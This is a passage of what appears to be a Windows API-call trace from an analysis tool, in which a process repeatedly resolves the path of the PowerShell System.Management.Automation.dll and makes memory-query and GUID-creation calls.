nBufferLength=0x105, lpBuffer=0x27e0b0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0096.881] GetLastError () returned 0x0 [0096.881] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27e0b0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0096.881] GetLastError () returned 0x0 [0096.881] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27e100, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0096.881] GetLastError () returned 0x0 [0096.881] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27e0b0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0096.881] GetLastError () returned 0x0 [0096.881] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27e0b0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0096.881] GetLastError () returned 0x0 [0096.882] VirtualQuery (in: lpAddress=0x27d1a4, lpBuffer=0x27e1a4, dwLength=0x1c | out: lpBuffer=0x27e1a4*(BaseAddress=0x27d000, AllocationBase=0x240000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0096.882] VirtualQuery (in: lpAddress=0x27d1e0, lpBuffer=0x27e1e0, dwLength=0x1c | out: lpBuffer=0x27e1e0*(BaseAddress=0x27d000, AllocationBase=0x240000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0096.882] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27df94, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0096.882] GetLastError () returned 0x0 [0096.882] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27df44, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0096.882] GetLastError () returned 0x0 [0096.882] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27df44, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0096.882] GetLastError () returned 0x0 [0096.883] VirtualQuery (in: lpAddress=0x27d2ac, lpBuffer=0x27e2ac, dwLength=0x1c | out: lpBuffer=0x27e2ac*(BaseAddress=0x27d000, AllocationBase=0x240000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0096.883] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27df94, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0096.883] GetLastError () returned 0x0 [0096.883] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27df44, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0096.883] GetLastError () returned 0x0 [0096.883] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27df44, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0096.883] GetLastError () returned 0x0 [0096.883] CoCreateGuid (in: pguid=0x27e858 | out: pguid=0x27e858*(Data1=0x761282a, Data2=0x85a7, Data3=0x4098, Data4=([0]=0x94, [1]=0xe, [2]=0xd8, [3]=0x9d, [4]=0xab, [5]=0xba, [6]=0x26, [7]=0x74))) returned 0x0 [0096.883] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27e100, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0096.883] GetLastError () returned 0x0 [0096.883] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27e0b0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0096.883] GetLastError () returned 0x0 [0096.884] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27e0b0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0096.884] GetLastError () returned 0x0 [0096.884] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27e100, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0096.884] GetLastError () returned 0x0 [0096.884] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27e0b0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0096.884] GetLastError () returned 0x0 [0096.884] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27e0b0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0096.884] GetLastError () returned 0x0 [0096.884] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27e100, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0096.884] GetLastError () returned 0x0 [0096.884] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27e0b0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0096.884] GetLastError () returned 0x0 [0096.884] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27e0b0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0096.884] GetLastError () returned 0x0 [0096.884] CoCreateGuid (in: pguid=0x27e858 | out: pguid=0x27e858*(Data1=0xb3827602, Data2=0x74d8, Data3=0x41f0, Data4=([0]=0x83, [1]=0xa9, [2]=0x8f, [3]=0xa2, [4]=0x44, [5]=0xc, [6]=0x21, [7]=0x80))) returned 0x0 [0096.885] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27e100, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0096.885] GetLastError () returned 0x0 [0096.885] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27e0b0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0096.885] GetLastError () returned 0x0 [0096.885] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27e0b0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0096.885] GetLastError () returned 0x0 [0096.885] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27e100, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0096.885] GetLastError () returned 0x0 [0096.885] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27e0b0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0096.885] GetLastError () returned 0x0 [0096.885] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27e0b0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0096.885] GetLastError () returned 0x0 [0096.885] CoCreateGuid (in: pguid=0x27e858 | out: pguid=0x27e858*(Data1=0x50d68b38, Data2=0x2f98, Data3=0x45fa, Data4=([0]=0xbc, [1]=0x35, [2]=0xbe, [3]=0xba, [4]=0x39, [5]=0x88, [6]=0x82, [7]=0xfb))) returned 0x0 [0096.886] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27e100, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0096.886] GetLastError () returned 0x0 [0096.886] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27e0b0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0096.886] GetLastError () returned 0x0 [0096.886] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27e0b0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0096.886] GetLastError () returned 0x0 [0096.886] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27e100, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0096.886] GetLastError () returned 0x0 [0096.886] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27e0b0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0096.886] GetLastError () returned 0x0 [0096.886] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27e0b0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0096.886] GetLastError () returned 0x0 [0096.886] CoCreateGuid (in: pguid=0x27e858 | out: pguid=0x27e858*(Data1=0x27572807, Data2=0xf97d, Data3=0x4419, Data4=([0]=0xb6, [1]=0xe5, [2]=0x15, [3]=0x19, [4]=0x3a, [5]=0x91, [6]=0xba, [7]=0x6c))) returned 0x0 [0096.886] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27e100, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0096.886] GetLastError () returned 0x0 [0096.886] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27e0b0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0096.886] GetLastError () returned 0x0 [0096.887] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27e0b0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0096.887] GetLastError () returned 0x0 [0096.887] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27e100, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0096.887] GetLastError () returned 0x0 [0096.887] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27e0b0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0096.887] GetLastError () returned 0x0 [0096.887] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27e0b0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0096.887] GetLastError () returned 0x0 [0096.887] CoCreateGuid (in: pguid=0x27e858 | out: pguid=0x27e858*(Data1=0xb103eb81, Data2=0x8514, Data3=0x4e78, Data4=([0]=0x8a, [1]=0xca, [2]=0x55, [3]=0xa0, [4]=0xe0, [5]=0x68, [6]=0xfc, [7]=0xc6))) returned 0x0 [0096.887] CoCreateGuid (in: pguid=0x27e858 | out: pguid=0x27e858*(Data1=0xa3c9fe4c, Data2=0xfdf8, Data3=0x46ba, Data4=([0]=0xa0, [1]=0xd5, [2]=0x40, [3]=0xa9, [4]=0x90, [5]=0x24, [6]=0x5e, [7]=0x51))) returned 0x0 [0096.887] CoCreateGuid (in: pguid=0x27e858 | out: pguid=0x27e858*(Data1=0x4948fe48, Data2=0x6149, Data3=0x4d31, Data4=([0]=0xa0, [1]=0xb7, [2]=0xc3, [3]=0x9c, [4]=0x9c, [5]=0x25, [6]=0x33, [7]=0xd1))) returned 0x0 [0096.888] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27e100, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0096.888] GetLastError () returned 0x0 [0096.888] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27e0b0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0096.888] GetLastError () returned 0x0 [0096.888] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27e0b0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0096.888] GetLastError () returned 0x0 [0096.888] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27e100, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0096.888] GetLastError () returned 0x0 [0096.888] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27e0b0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0096.888] GetLastError () returned 0x0 [0096.888] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27e0b0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0096.888] GetLastError () returned 0x0 [0096.888] CoCreateGuid (in: pguid=0x27e858 | out: pguid=0x27e858*(Data1=0x53a6d773, Data2=0x3c91, Data3=0x4519, Data4=([0]=0xaf, [1]=0xcc, [2]=0xc0, [3]=0x60, [4]=0xd1, [5]=0x94, [6]=0xfb, [7]=0x1e))) returned 0x0 [0096.889] VirtualQuery (in: lpAddress=0x27d104, lpBuffer=0x27e104, dwLength=0x1c | out: lpBuffer=0x27e104*(BaseAddress=0x27d000, AllocationBase=0x240000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0096.889] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27dc90, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0096.889] GetLastError () returned 0x0 [0096.889] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27dc40, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0096.889] GetLastError () returned 0x0 [0096.889] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27dc40, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0096.889] GetLastError () returned 0x0 [0096.889] VirtualQuery (in: lpAddress=0x27d104, lpBuffer=0x27e104, dwLength=0x1c | out: lpBuffer=0x27e104*(BaseAddress=0x27d000, AllocationBase=0x240000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0096.889] VirtualQuery (in: lpAddress=0x27d140, lpBuffer=0x27e140, dwLength=0x1c | out: lpBuffer=0x27e140*(BaseAddress=0x27d000, AllocationBase=0x240000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0096.890] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27daf8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0096.890] GetLastError () returned 0x0 [0096.890] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27daa8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0096.890] GetLastError () returned 0x0 [0096.890] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27daa8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0096.890] GetLastError () returned 0x0 [0096.890] VirtualQuery (in: lpAddress=0x27d104, lpBuffer=0x27e104, dwLength=0x1c | out: lpBuffer=0x27e104*(BaseAddress=0x27d000, AllocationBase=0x240000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0096.890] VirtualQuery (in: lpAddress=0x27d140, lpBuffer=0x27e140, dwLength=0x1c | out: lpBuffer=0x27e140*(BaseAddress=0x27d000, AllocationBase=0x240000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0096.890] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27daf8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0096.890] GetLastError () returned 0x0 [0096.890] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27daa8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0096.890] GetLastError () returned 0x0 [0096.890] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27daa8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0096.890] GetLastError () returned 0x0 [0096.890] 